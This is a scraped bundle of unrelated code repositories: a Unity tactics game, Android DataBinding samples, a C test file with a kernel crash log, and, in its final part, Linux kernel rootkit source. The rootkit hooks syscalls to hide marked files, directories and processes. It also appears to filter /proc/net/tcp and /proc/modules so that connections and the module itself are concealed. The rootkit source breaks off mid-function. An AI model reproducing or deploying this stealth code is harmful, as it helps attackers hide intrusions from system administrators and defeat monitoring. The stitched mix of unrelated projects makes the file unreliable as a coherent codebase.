= position; } } } <file_sep>/Assets/Controller/BattleController.cs using UnityEngine; using System.Collections; using Assets.Model; using UnityEngineInternal; public class BattleController : MonoBehaviour { public bool YourTurn; public Camera MainCamera; public GameObject SelectedUnit; private BattleModel model; private BattleView view; private float cameraSpeed = 0.4f; // Use this for initialization void Start () { model = new BattleModel(); view = GetComponent<BattleView>(); view.model = this.model; view.RenderWorld(); ResetCamera(); Cursor.lockState = CursorLockMode.Locked; Cursor.visible = false; } // Update is called once per frame void Update () { if (Input.GetMouseButtonDown(0)) { RaycastHit hitInfo = new RaycastHit(); bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo); if (hit) { Debug.Log("hit"); var info = hitInfo.transform.gameObject.GetComponent<UnitInfo>(); SelectedUnit = hitInfo.transform.gameObject; view.ShowUnitInfo(info.UnitRepresented); } else { SelectedUnit = null; view.ShowUnitInfo(null); } } if (Input.GetKeyDown("escape")) { Cursor.lockState = CursorLockMode.None; Cursor.visible = true; } } private void ResetCamera() { var centerOfMap = new Vector3(model.world.X / 2.0f, 0, model.world.Y / 2.0f); var cameraOffset = new Vector3(-5, 5, -5); MainCamera.transform.position = centerOfMap + cameraOffset; MainCamera.transform.LookAt(centerOfMap, Vector3.up); } } <file_sep>/Assets/View/UnitInfo.cs using System; using UnityEngine; using System.Collections; using System.Linq; using Assets.Model; using UnityEditor; public class UnitInfo : MonoBehaviour { private Unit _unitRepresented; private void Start() { } public Unit UnitRepresented { get { return _unitRepresented;} set { _unitRepresented = value; } } public void UpdateGraphics() { //var sprite = AssetDatabase.LoadAssetAtPath<Sprite>("Assets/Sprites/" + UnitRepresented.Type + ".png"); //if (sr == null) //{ // sr = gameObject.GetComponent<SpriteRenderer>(); //} //if (sprite == null) //{ // sprite = DefaultSprite; //} //sr.sprite = sprite; } } <file_sep>/Assets/View/UnitDetails.cs using UnityEngine; using System.Collections; using Assets.Model; using UnityEngine.UI; public class UnitDetails : MonoBehaviour { private Unit unit; public GameObject Name; public GameObject HP; public GameObject Sta; public GameObject Move; public GameObject Exp; // Use this for initialization void Start () { } // Update is called once per frame void Update () { } public void ShowDetails(Unit unit) { this.unit = unit; if (unit == null) { Name.GetComponent<Text>().text = null; HP.GetComponent<Text>().text = null; Sta.GetComponent<Text>().text = null; Move.GetComponent<Text>().text = null; Exp.GetComponent<Text>().text = null; return; } Name.GetComponent<Text>().text = unit.Name; HP.GetComponent<Text>().text = "HP: " + unit.HP.Value + "/" + unit.HP.Max; Sta.GetComponent<Text>().text = "Sta: " + unit.Stamina.Value + "/" + unit.Stamina.Max; Move.GetComponent<Text>().text = "Move: " + unit.Move.Value + "/" + unit.Move.Max; Exp.GetComponent<Text>().text = "Exp: " + unit.Expertise.Value + "/" + unit.Expertise.Max; } } <file_sep>/Assets/Model/Block.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Assets.Model { public abstract class Block { public bool Solid { get; protected set; } public int TraversalCost { get; protected set; } } public class Dirt : Block { public Dirt() { Solid = true; TraversalCost = 1; } } //used to initialize empty blocks public class Air : Block { public Air() { Solid = false; TraversalCost = 0; } } } <file_sep>/Assets/Model/BattleModel.cs using System.Collections.Generic; using UnityEngine; namespace Assets.Model { public class BattleModel { public World world; public List<Unit> units; public BattleModel() { world = new World(new Vector3(32,32,8)); units = new List<Unit>(); units.Add(new Unit("Player1", "Orc", new Vector3(16, 16, world.LowestEmptyTile(16, 16).Value))); } } } <file_sep>/README.md # Shrinelands Hobby turn-based tactics game about exploration <file_sep>/Assets/View/BattleView.cs using UnityEngine; using System.Collections; using Assets.Model; public class BattleView : MonoBehaviour { public GameObject BasicUnit; public GameObject BasicBlock; public GameObject TransparentBlock; public GameObject UnitDetails; private UnitDetails detailsUI; public BattleModel model; // Use this for initialization void Start () { detailsUI = UnitDetails.GetComponent<UnitDetails>(); } // Update is called once per frame void Update () { } public void ShowUnitInfo(Unit unit) { detailsUI.ShowDetails(unit); } public void RenderWorld() { for (int i = 0; i < model.world.X; i++) { for (int j = 0; j < model.world.Y; j++) { for (int k = 0; k < model.world.Z; k++) { var block = model.world[i, j, k]; if (block is Air) { Instantiate(TransparentBlock, new Vector3(i, k/2.0f, j), TransparentBlock.transform.rotation); continue; } if (block is Dirt) { Instantiate(BasicBlock, new Vector3(i, k/2.0f, j), Quaternion.identity); } } } } RenderUnits(); } private void RenderUnits() { foreach (var unit in model.units) { var position = WorldPositionToScenePosition(unit.Position); var unitObject = (GameObject)Instantiate(BasicUnit, position, Quaternion.identity); unitObject.GetComponent<UnitInfo>().UnitRepresented = unit; } } public static Vector3 WorldPositionToScenePosition(Vector3 pos) { return new Vector3(pos.x, pos.z / 2, pos.y); } } <file_sep>/Assets/Model/World.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using UnityEngine; using Random = UnityEngine.Random; namespace Assets.Model { public class World { public int X { get { if (blocks == null) { return 0; } return blocks.GetLength(0); } } public int Y { get { if (blocks == null) { return 0; } return blocks.GetLength(1); } } public int Z { get { if (blocks == null) { return 0; } return blocks.GetLength(2); } } public Vector3 Size { get { return new Vector3(X, Y, Z); } } private Block[,,] blocks; public Block this[int i, int j, int k] // Indexer declaration { get { //TODO: check array length return blocks[i, j, k]; } } public World(Vector3 size) { blocks = new Block[(int)size.x, (int)size.y, (int)size.z]; for (int i = 0; i < X; i++) { for (int j = 0; j < Y; j++) { for (int k = 0; k < Z; k++) { blocks[i, j, k] = new Air(); } } } for (int i = 0; i < X; i++) { for (int j = 0; j < Y; j++) { blocks[i, j, 0] = new Dirt(); } } PerlinValleys(); } private void PerlinValleys() { float noiseScale = 2f / Math.Max(X, Y); float scalingFactor = Z - 1; for (int i = 0; i < X; i++) { for (int j = 0; j < Y; j++) { var noise = Mathf.PerlinNoise(i * noiseScale, j * noiseScale); int height = (int)(noise * scalingFactor); for (int k = 0; k < height; k++) { blocks[i, j, k] = new Dirt(); } } } } public int? LowestEmptyTile(int x, int y) { for (int i = 0; i < Z-1; i++) { if (blocks[x, y, i] == null || blocks[x, y, i] is Air) { return i; } } return null; } } }
0a84b82ee00b161016ead5aee199f520c844d804
[ "Markdown", "C#" ]
11
C#
CodyEthanJordan/Shrinelands
f0b9ee9fa0a940e52f866cf67d38d0775e39a388
f9984a9df52b026f348f4ebfd14dcb3c56aaad52
refs/heads/master
<file_sep>package com.databinding; import android.databinding.BaseObservable; import android.databinding.Bindable; /** * Created by Administrator on 2017/6/18 0018. */ public class User extends BaseObservable{ private String name; private String nickName; private String email; private String icon; public String getIcon() { return icon; } public void setIcon(String icon) { this.icon = icon; } private boolean isVip; public boolean isVip() { return isVip; } public void setVip(boolean vip) { isVip = vip; } @Bindable public String getName() { return name; } public void setName(String name) { this.name = name; notifyPropertyChanged(com.databinding.BR.name); } public String getNickName() { return nickName; } public void setNickName(String nickName) { this.nickName = nickName; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } } <file_sep>package com.xinzhou.sample.adapter; import android.content.Context; import android.databinding.DataBindingUtil; import android.databinding.ViewDataBinding; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import com.xinzhou.sample.BR; import com.xinzhou.sample.R; import com.xinzhou.sample.bean.Employee; import java.util.ArrayList; import java.util.List; import java.util.Random; /** * Created by Administrator on 2017/6/25 0025. */ public class EmployeeAdapter extends RecyclerView.Adapter<BindingViewHolder>{ private static final int ITEM_VIEW_TYPE_ON=1; private static final int ITEM_VIEW_TYPE_OFF=2; private List<Employee> mEmployeeList=new ArrayList<>(); private LayoutInflater mLayoutInflater; Random mRandom=new Random(System.currentTimeMillis()); public EmployeeAdapter(Context context) { mLayoutInflater=(LayoutInflater)context.getSystemService(Context.LAYOUT_INFLATER_SERVICE); } @Override public int getItemViewType(int position) { Employee employee = mEmployeeList.get(position); if (employee.isFired.get()){ return ITEM_VIEW_TYPE_OFF; }else { return ITEM_VIEW_TYPE_ON; } } @Override public BindingViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { ViewDataBinding binding; if (viewType == ITEM_VIEW_TYPE_ON){ binding= DataBindingUtil.inflate(mLayoutInflater, R.layout.item_employee,parent,false); }else{ binding=DataBindingUtil.inflate(mLayoutInflater,R.layout.item_employee_off,parent,false); } return new BindingViewHolder<>(binding); } @Override public void onBindViewHolder(BindingViewHolder holder, int position) { final Employee employee = mEmployeeList.get(position); holder.getBinding().setVariable(BR.item,employee); holder.getBinding().executePendingBindings(); holder.itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (mOnItemClickListener!=null){ mOnItemClickListener.onEmployeeClick(employee); } } }); } @Override public int getItemCount() { return mEmployeeList.size(); } private OnItemClickListener mOnItemClickListener; public interface OnItemClickListener{ void onEmployeeClick(Employee employee); } public EmployeeAdapter setListener(OnItemClickListener onItemClickListener){ this.mOnItemClickListener=onItemClickListener; return this; } public EmployeeAdapter addAll(List<Employee> employeeList){ mEmployeeList.addAll(employeeList); return this; } public EmployeeAdapter add(Employee employee){ int position = mRandom.nextInt(mEmployeeList.size()>0?mEmployeeList.size():1); mEmployeeList.add(position,employee); notifyItemChanged(position); return this; } public void remove(){ if (mEmployeeList.size()!=0){ int position = mRandom.nextInt(mEmployeeList.size()); mEmployeeList.remove(position); notifyItemRemoved(position); } } } <file_sep>package com.xinzhou.sample.bean; import android.databinding.BaseObservable; import android.databinding.Bindable; import com.xinzhou.sample.BR; /** * Created by xinzhou on 2017/6/26. */ public class FormModel extends BaseObservable { private String name; private String passWord; public FormModel(String name, String passWord) { this.name = name; this.passWord = passWord; } @Bindable public String getName() { return name; } public void setName(String name) { this.name = name; notifyPropertyChanged(BR.name); } @Bindable public String getPassWord() { return passWord; } public void setPassWord(String passWord) { this.passWord = passWord; notifyPropertyChanged(BR.passWord); } } <file_sep>package com.xinzhou.sample.component; import com.xinzhou.sample.adapter.MyBindingApdater; import com.xinzhou.sample.adapter.TestBindingAdapter; /** * Created by xinzhou on 2017/6/26. */ public class TestComponent implements android.databinding.DataBindingComponent { private MyBindingApdater mApdater=new TestBindingAdapter(); @Override public MyBindingApdater getMyBindingApdater() { return mApdater; } } <file_sep>package com.xinzhou.sample; import android.databinding.DataBindingUtil; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import com.xinzhou.sample.databinding.ActivityMainBinding; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ActivityMainBinding binding= DataBindingUtil.setContentView(this,R.layout.activity_main); binding.setClickUtils(new ClickUtils()); } } <file_sep>package com.databinding; import android.databinding.BindingAdapter; import android.text.TextUtils; import android.widget.ImageView; import com.bumptech.glide.Glide; /** * Created by xinzhou on 2017/6/26. */ public class BindingAttrUtils { @BindingAdapter({"imageUrl"}) public static void loadImage(ImageView view,String url){ if (TextUtils.isEmpty(url)){ view.setBackgroundResource(R.mipmap.ic_launcher); }else{ Glide.with(view.getContext()).load(url).into(view); } } } <file_sep>package com.xinzhou.sample.activity; import android.databinding.DataBindingUtil; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.widget.Toast; import com.xinzhou.sample.R; import com.xinzhou.sample.bean.Employee; import com.xinzhou.sample.databinding.ActivitySampleBinding; public class SampleActivity extends AppCompatActivity { Employee mEmployee=new Employee(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); ActivitySampleBinding binding= DataBindingUtil.setContentView(this,R.layout.activity_sample); binding.viewStub.getViewStub().inflate(); binding.setEmployee(mEmployee); binding.setPresenter(new Presenter()); } public class Presenter{ public void onTextChanged(CharSequence s, int start, int before, int count){ mEmployee.setFirstName(s.toString()); mEmployee.setIsFired(!mEmployee.isFired.get()); } public void onClickListenerBinding(Employee employee){ Toast.makeText(SampleActivity.this, employee.getFirstName(), Toast.LENGTH_SHORT).show(); } } } <file_sep>package com.databinding; import android.databinding.DataBindingUtil; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import com.databinding.databinding.ActivityMainBinding; import java.util.ArrayList; import java.util.List; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); ActivityMainBinding binding= DataBindingUtil.setContentView(this,R.layout.activity_main); User user = new User(); user.setName("用户名"); user.setNickName("昵称"); user.setVip(true); user.setEmail("<EMAIL>"); user.setIcon("https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo/bd_logo1_31bdc765.png"); binding.setUser(user); User user1=new User(); user1.setName("新人"); user1.setNickName("小新哥哥"); user1.setVip(true); user1.setEmail("<EMAIL>"); List<User> userList=new ArrayList<>(); userList.add(user); userList.add(user1); binding.setUsers(userList); } } <file_sep>package com.xinzhou.sample.activity; import android.databinding.DataBindingUtil; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.LinearLayoutManager; import android.view.View; import android.widget.Toast; import com.xinzhou.sample.R; import com.xinzhou.sample.adapter.EmployeeAdapter; import com.xinzhou.sample.bean.Employee; import com.xinzhou.sample.databinding.ActivityListBinding; import java.util.ArrayList; import java.util.List; public class ListActivity extends AppCompatActivity { private EmployeeAdapter mEmployeeAdapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); ActivityListBinding binding= DataBindingUtil.setContentView(this, R.layout.activity_list); binding.setPresenter(new Presenter()); List<Employee> demoList=new ArrayList<>(); demoList.add(new Employee("zhou1","xin1",false)); demoList.add(new Employee("zhou2","xin2",false)); demoList.add(new Employee("zhou3","xin3",false)); demoList.add(new Employee("zhou4","xin4",true)); binding.recyclerView.setLayoutManager(new LinearLayoutManager(this)); mEmployeeAdapter = new EmployeeAdapter(this); binding.recyclerView.setAdapter(mEmployeeAdapter); mEmployeeAdapter.setListener(new EmployeeAdapter.OnItemClickListener() { @Override public void onEmployeeClick(Employee employee) { Toast.makeText(ListActivity.this, employee.getFirstName(), Toast.LENGTH_SHORT).show(); } }).addAll(demoList); } public class Presenter{ public void onClickAddItem(View view){ mEmployeeAdapter.add(new Employee("haha","1",false)); } public void onClickRemoveItem(View view){ mEmployeeAdapter.remove(); } } }
89d898aacf50544413557f3380128bc67b97adb6
[ "Java" ]
9
Java
zhouxin1233/DataBindingTest
fe303a95f55b14083122f0a2c5033a17e287a3dd
296e3295177dc96fcb664cea9600bc781cd0b65f
refs/heads/master
<repo_name>KnownScripts/LOGITpe20-WhileLoop<file_sep>/GuessGame/Program.cs using System; namespace GuessGame { class Program { static void Main(string[] args) { Random rnd = new Random(); int randomNumber = rnd.Next(1, 10); Console.WriteLine("What is my number?"); int userGuess = Int32.Parse(Console.ReadLine()); bool correctGuess = false; while(!correctGuess) { if(randomNumber == userGuess) { Console.WriteLine("You won"); correctGuess = true; }else { //Console.WriteLine("What is your number?"); // userGuess = Int32.Parse(Console.ReadLine()); if (randomNumber > userGuess) ; { Console.WriteLine("Your number is bigger than random "); Console.WriteLine("What is my number? "); userGuess = Int32.Parse(Console.ReadLine()); }else { Console.WriteLine("Your number is smaller "); Console.WriteLine("What is my number? "); userGuess = Int32.Parse(Console.ReadLine()); } } } } } }
30d0d90bc7043442a8804ac843d5c104ff56c5ba
[ "C#" ]
1
C#
KnownScripts/LOGITpe20-WhileLoop
ba1a6475f8b29dc6c1ca2e24f2bcbe947a57245e
c95ce5997824da8bb2755f126bde3e0860752eaa
refs/heads/master
<file_sep> // gcc -std=gnu99 -o test test.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> //#include <asm/atimic.h> struct ONE { size_t d_ino; size_t d_off; unsigned short d_reclen; unsigned char d_type; char d_name[0]; }; int main (int argc, char **argv) { /*unsigned long a = 1; struct ONE one; char *chPtr; long val = strtoul ("qwert", &chPtr, 10); printf ("Value: %d\n", val); printf ("Len: %d\n", sizeof one); //printf ("Str: %s\n", one.d_name); for (a = 0; a < argc; ++a) printf ("Str: %s\n", argv[a]); pause ();*/ char *chPtr = "/proc/modules"; char buf1 [50], buf2[50]; int fd = open (chPtr, O_RDONLY, 0); int ret = read (fd, buf1, 49); buf1 [49] = '\0'; printf ("Pos: %d\n", lseek (fd, 0, SEEK_CUR)); printf ("lseek ret: %d\n", lseek (fd, 0, SEEK_SET)); ret = read (fd, buf2, 49); buf2[49] = '\0'; printf ("1 - %s\n\n2 - %s\n", buf1, buf2); return 0; } /* [ 1295.995226] BUG: unable to handle kernel NULL pointer dereference at 000000000000001e [ 1295.995229] IP: [<ffffffffa0232172>] needHideProc+0xdf/0x1ff [second] [ 1295.995235] PGD 5cfd2067 PUD 12492067 PMD 0 [ 1295.995237] Oops: 0000 [#1] SMP [ 1295.995243] CPU 1 [ 1295.995244] Modules linked in: second(O) binfmt_misc nfsd nfs nfs_acl auth_rpcgss fscache lockd sunrpc vfat fat loop fuse coretemp crc32c_intel snd_intel8x0 snd_ac97_codec snd_pcm snd_page_alloc snd_seq snd_seq_device evdev snd_timer processor psmouse thermal_sys snd button serio_raw soundcore ac97_bus pcspkr shpchp iTCO_wdt iTCO_vendor_support ext3 mbcache jbd sg sr_mod sd_mod cdrom crc_t10dif usbhid ata_generic hid uhci_hcd ata_piix ahci libahci libata floppy ehci_hcd scsi_mod e1000 usbcore usb_common [last unloaded: scsi_wait_scan] [ 1295.995277] [ 1295.995279] Pid: 7607, comm: sudo Tainted: G O 3.2.0-4-amd64 #1 Debian 3.2.57-3 Parallels Software International Inc. Parallels Virtual Platform/Parallels Virtual Platform [ 1295.995284] RIP: 0010:[<ffffffffa0232172>] [<ffffffffa0232172>] needHideProc+0xdf/0x1ff [second] [ 1295.995288] RSP: 0018:ffff88005b2f5e38 EFLAGS: 00010282 [ 1295.995289] RAX: fffffffffffffffe RBX: ffff88001d631ec0 RCX: 0000000000000020 [ 1295.995291] RDX: 000000010003cf7e RSI: 0000000000000001 RDI: 0000000000000202 [ 1295.995292] RBP: ffff88005b2f5fd8 R08: 0000000000000001 R09: ffff88005b2f5c48 [ 1295.995294] R10: ffff88005b1144c0 R11: ffff88005b1144c0 R12: fffffffffffffffe [ 1295.995297] R13: ffff88005bbf5222 R14: 00007ffffffff000 R15: 0000000000000001 [ 1295.995301] FS: 00007f0b299f47c0(0000) GS:ffff88005fc20000(0000) knlGS:0000000000000000 [ 1295.995303] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1295.995305] CR2: 000000000000001e CR3: 000000001d699000 CR4: 00000000000006e0 [ 1295.995388] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1295.995390] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 1295.995392] Process sudo (pid: 7607, threadinfo ffff88005b2f4000, task ffff88005b004740) [ 1295.995393] Stack: [ 1295.995394] 0000000000000000 ffff88005bbf5223 ffff88005bbf5210 0000000000000030 [ 1295.995397] ffff88005bbf5222 00000000000000d8 0000000000000018 ffffffffa02322f8 [ 1295.995400] ffff88005b2f5ec8 ffff88005bbf5228 0000000002344b78 00000000000000d8 [ 1295.995403] Call Trace: [ 1295.995406] [<ffffffffa02322f8>] ? clearDirEntries+0x66/0x85 [second] [ 1295.995409] [<ffffffffa0232407>] ? newGetDents+0xf0/0x180 [second] [ 1295.995774] [<ffffffff810eb5f8>] ? kmem_cache_free+0x2d/0x69 [ 1295.995862] [<ffffffff81354a12>] ? system_call_fastpath+0x16/0x1b [ 1295.995864] Code: df e8 fb 6f ec e0 48 85 c0 49 89 c4 75 16 48 89 de 48 c7 c7 56 30 23 a0 31 c0 e8 88 70 11 e1 e9 8f 00 00 00 4c 89 b5 48 e0 ff ff <48> 83 78 20 00 75 33 48 89 de 48 c7 c7 66 30 23 a0 31 c0 e8 64 [ 1295.995884] RIP [<ffffffffa0232172>] needHideProc+0xdf/0x1ff [second] [ 1295.995887] RSP <ffff88005b2f5e38> [ 1295.995888] CR2: 000000000000001e [ 1295.995890] ---[ end trace d3ec686b2224fc47 ]--- */ <file_sep> #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/unistd.h> #include <linux/stop_machine.h> #include <linux/slab.h> #include <linux/uaccess.h> #include <linux/dirent.h> #include <linux/atomic.h> #include <asm/current.h> // current #include <linux/fdtable.h> // struct files_struct #include <linux/spinlock.h> #include <linux/fs.h> // struct file at line 976 #include <linux/path.h> // struct path #include <linux/dcache.h> // struct dentry #include <linux/sched.h> // struct task_struct #include <linux/file.h> #include <linux/syscalls.h> #include <linux/completion.h> #include <linux/kernel.h> // simple_strtoul MODULE_LICENSE ("GPL"); static int __init hello (void) { int retLen; char chBuf[16]; struct file *filePtr; loff_t posFile = 0; mm_segment_t oldFs; printk (KERN_ALERT "Hello 123!\n"); oldFs = get_fs(); set_fs (KERNEL_DS); filePtr = filp_open ("/etc/passwd", O_RDONLY, 0); if (IS_ERR (filePtr)) { printk ("Can't open: %s - %d\n", chBuf, (int)filePtr); set_fs (oldFs); return 0; } printk ("File position: %d - %d\n", filePtr->f_pos, posFile); if ((retLen = vfs_read (filePtr, chBuf, 16 - 1, &posFile)) < 0) { printk ("Error at reading from: %s, ret: %d\n", chBuf, (int)retLen); filp_close (filePtr, NULL); set_fs (oldFs); return 0; } set_fs (oldFs); chBuf [15] = 0; printk ("A string: %s\n", chBuf); printk ("File position: %d - %d\n", filePtr->f_pos, posFile); return 0; } static void goodbye (void) { printk (KERN_ALERT "Good 321!\n"); } module_init(hello); module_exit(goodbye); <file_sep> #include "second.h" #include "sys_numbers.h" // // globals // SYSSERV_INF *ssPtr; int ssSize = NUMBER_OF_FUNCTIONS; void *sys_call_table; struct cpumask *cpus; const char *badDirName = "1234DEADBEAF4321"; // to hide dirs and files, that have this string at their names const char *magicString = "xxxGANGNAM-STYLExxx"; // if this string is into argv, process is trusted const char *netTcp4String = "/etc/1234DEADBEAF4321/tcp4.txt"; // config const char *modulesString = "/etc/1234DEADBEAF4321/modules.txt"; // config const char *badPath = "/proc"; const char *netTcp4Str = "/net/tcp"; const char *modulesStr = "/proc/modules"; const int strArrSize = 64, lineSize = 200; // // Service functions // void intToStrRadixDec (char *chBuf, int szBuf, int val) { int tmp, base = 10, j = 9; if (szBuf < 11) { #ifdef MY_OWN_DEBUG printk ("Passed buffer's size is too short for intToStrRadixDec\n"); #endif chBuf [0] = '\0'; return; } for (int i = 0; i < szBuf; ++i) chBuf [i] = '0'; if (val == 0) { chBuf[1] = '\0'; return; } chBuf [j + 1] = '\0'; while (val > 0) { tmp = val % base; val /= base; chBuf [j] += tmp; --j; } j = 0; for (int i = 10; j < i; ++j) { if (chBuf [j] != '0') break; } // j is an index of first significant char for (int i = 0; j <= 10; ++i, ++j) chBuf [i] = chBuf [j]; return; } int readFileData (const char *fileName, void *buf, size_t count) { int ret = 0; mm_segment_t oldFs; loff_t posFile = 0; struct file *filePtr; oldFs = get_fs(); set_fs (KERNEL_DS); filePtr = filp_open (fileName, O_RDONLY, 0); if (IS_ERR (filePtr)) { #ifdef MY_OWN_DEBUG printk ("Can't open: %s - %d\n", fileName, (int)filePtr); #endif set_fs (oldFs); return 0; } if ((ret = vfs_read (filePtr, buf, count, &posFile)) < 0) { #ifdef MY_OWN_DEBUG printk ("Error at reading from: %s, ret: %d\n", fileName, (int)ret); #endif ret = 0; } set_fs (oldFs); filp_close (filePtr, NULL); return ret; } // // Functions intercepters // int needHideProc (char *chPtr) { loff_t posFile = 0; ssize_t retLen; const int nameLen = 256; char *chBuf; struct file *filePtr; mm_segment_t oldFs; int ret = 0; for (int i = 0, j = strlen (chPtr); i < j; ++i) { if (chPtr [i] < '0' || chPtr[i] > '9') return 0; } if (!(chBuf = kmalloc (nameLen, GFP_KERNEL))) return 0; strcpy (chBuf, "/proc/"); strcat (chBuf, chPtr); strcat (chBuf, "/cmdline"); oldFs = get_fs(); set_fs (KERNEL_DS); filePtr = filp_open (chBuf, O_RDONLY, 0); if (IS_ERR (filePtr)) { #ifdef MY_OWN_DEBUG //printk ("Can't open: %s - %d\n", chBuf, (int)filePtr); #endif kfree (chBuf); set_fs (oldFs); return 0; } if ((retLen = vfs_read (filePtr, chBuf, nameLen - 1, &posFile)) < 0) { #ifdef MY_OWN_DEBUG //printk ("Error at reading from: %s, ret: %d\n", chBuf, (int)retLen); #endif filp_close (filePtr, NULL); // current->files kfree (chBuf); set_fs (oldFs); return 0; } set_fs (oldFs); for (unsigned i = 0; i < retLen; ++i) if (chBuf[i] == '\0') chBuf [i] = '_'; chBuf[retLen] = '\0'; if (strstr (chBuf, magicString)) ret = 1; #ifdef MY_OWN_DEBUG //if (ret) printk ("Hided: %s - %s\n", chPtr, chBuf); #endif filp_close (filePtr, NULL); kfree (chBuf); return ret; } int clearDirEntries (struct linux_dirent64 *dirPtr, unsigned int len, int clrFlag) { int cur, newLen = len; struct linux_dirent64 *tmpPtr = dirPtr; do { cur = dirPtr->d_reclen; len -= cur; tmpPtr = (struct linux_dirent64*)((char*)dirPtr + cur); if ((strstr ((char*)&dirPtr->d_type, badDirName) != NULL) || (clrFlag && needHideProc ((char*)&dirPtr->d_type)) ) { memmove (dirPtr, tmpPtr, len); newLen -= cur; #ifdef MY_OWN_DEBUG //printk ("Hided: %s\n", (char*)&dirPtr->d_type); #endif } else { dirPtr = tmpPtr; } } while (len > 0); return newLen; } int isTrustedProcess () { const int bufSz = 16; char *bufPtr, *chBuf; struct file *filePtr; loff_t posFile = 0; ssize_t retLen; const int nameLen = 256; mm_segment_t oldFs; int ret = 0; if (!(bufPtr = kmalloc (bufSz, GFP_KERNEL))) return 0; if (!(chBuf = kmalloc (nameLen, GFP_KERNEL))) { kfree (bufPtr); return 0; } intToStrRadixDec (bufPtr, bufSz, current->tgid); strcpy (chBuf, "/proc/"); strcat (chBuf, bufPtr); strcat (chBuf, "/cmdline"); kfree (bufPtr); oldFs = get_fs(); set_fs (KERNEL_DS); filePtr = filp_open (chBuf, O_RDONLY, 0); if (IS_ERR (filePtr)) { #ifdef MY_OWN_DEBUG //printk ("Can't open: %s - %d\n", chBuf, (int)filePtr); #endif kfree (chBuf); set_fs (oldFs); return 0; } if ((retLen = vfs_read (filePtr, chBuf, nameLen - 1, &posFile)) < 0) { #ifdef MY_OWN_DEBUG //printk ("Error at reading from: %s, ret: %d\n", chBuf, (int)retLen); #endif filp_close (filePtr, NULL); kfree (chBuf); set_fs (oldFs); return 0; } set_fs (oldFs); for (unsigned i = 0; i < retLen; ++i) if (chBuf[i] == '\0') chBuf [i] = '_'; chBuf[retLen] = '\0'; if (strstr (chBuf, magicString)) ret = 1; #ifdef MY_OWN_DEBUG //if (ret) printk ("Trusted process"); #endif filp_close (filePtr, NULL); kfree (chBuf); return ret; } int newGetDents (unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) { int ret, clrFlag = 0; struct file *fdPtr = NULL; const int bufLen = 128; char buf [bufLen - 1], *realPath; #ifdef MY_OWN_DEBUG //printk ("Intercepted function sys_getdents\n"); #endif atomic64_inc (& ssPtr[SYS_DIRENT_NUM].numOfCalls); if (ssPtr[SYS_DIRENT_NUM].sysPtrOld) { // // "Removing" directories from /proc/PID // if (IS_ERR (fdPtr = fget (fd))) { #ifdef MY_OWN_DEBUG //printk ("Have found NULL ptr to struct file at FDT " // "for descriptor id: %d, err: %d\n", fd, (int)fdPtr); #endif } else { realPath = d_path (&fdPtr->f_path, buf, bufLen); if (strstr (realPath, badPath)) clrFlag = 1; } fput (fdPtr); // // Hiding // if ((ret = ((GETDENTS_P)(ssPtr[SYS_DIRENT_NUM].sysPtrOld)) (fd, dirent, count)) > 0) { if (!isTrustedProcess ()) { struct linux_dirent64 *dirPtr = (struct linux_dirent64*)kmalloc (ret, GFP_KERNEL); copy_from_user (dirPtr, dirent, ret); if (clrFlag) ret = clearDirEntries (dirPtr, ret, 1); else ret = clearDirEntries (dirPtr, ret, 0); copy_to_user (dirent, dirPtr, ret); kfree (dirPtr); } } clrFlag = 0; atomic64_dec (& ssPtr[SYS_DIRENT_NUM].numOfCalls); #ifdef MY_OWN_DEBUG printk ("Number of counter at READDIR: %ld\n", atomic64_read (& ssPtr[SYS_DIRENT_NUM].numOfCalls)); #endif return ret; } else { atomic64_dec (& ssPtr[SYS_DIRENT_NUM].numOfCalls); #ifdef MY_OWN_DEBUG printk ("Number of counter at READDIR: %ld\n", atomic64_read (& ssPtr[SYS_DIRENT_NUM].numOfCalls)); #endif return -EIO; } } void reprocessTcpIndexes (char *chPtr) { int i, j, k; char *chSub = ": ", *chTmp, *chTmp1; char chBuf[16]; j = 0; while ((chTmp = strstr (chPtr, chSub))) { --chTmp; chTmp1 = chTmp; while (*chTmp >= '0' && *chTmp <= '9') --chTmp; ++chTmp; i = chTmp1 - chTmp + 1; intToStrRadixDec (chBuf, 15, j); if (i > strlen (chBuf)) { chTmp += i - strlen (chBuf); } // situation that i < strlen (chBuf) can't happen beacause we shift back strings forward // lengths are equal k = 0; while (chBuf[k]) { chTmp[k] = chBuf[k]; ++k; } // the length of the string in /proc/net/tcp is about 100, and // substring ": " is in one place at the beginnig of the string chPtr = chTmp + 50; ++j; } return; } int processReading (const char *fileName, int fd, void *buf, size_t count) { int ret, ret1; char *chpArr [strArrSize], *chBuf, *chBuf1, *chTmp; struct file *filePtr; #ifdef MY_OWN_DEBUG //printk ("processReading function\n"); #endif if ((ret = ((READ_P)(ssPtr[SYS_READ_NUM].sysPtrOld)) (fd, buf, count)) <= 0) { return ret; } for (int i = 0; i < strArrSize; ++i) chpArr[i] = NULL; if (!(chBuf = kmalloc (lineSize * strArrSize, GFP_KERNEL))) { return ret; } if (!(chBuf1 = kmalloc (count + 2, GFP_KERNEL))) { kfree (chBuf); return ret; } if ((ret1 = readFileData (fileName, chBuf, 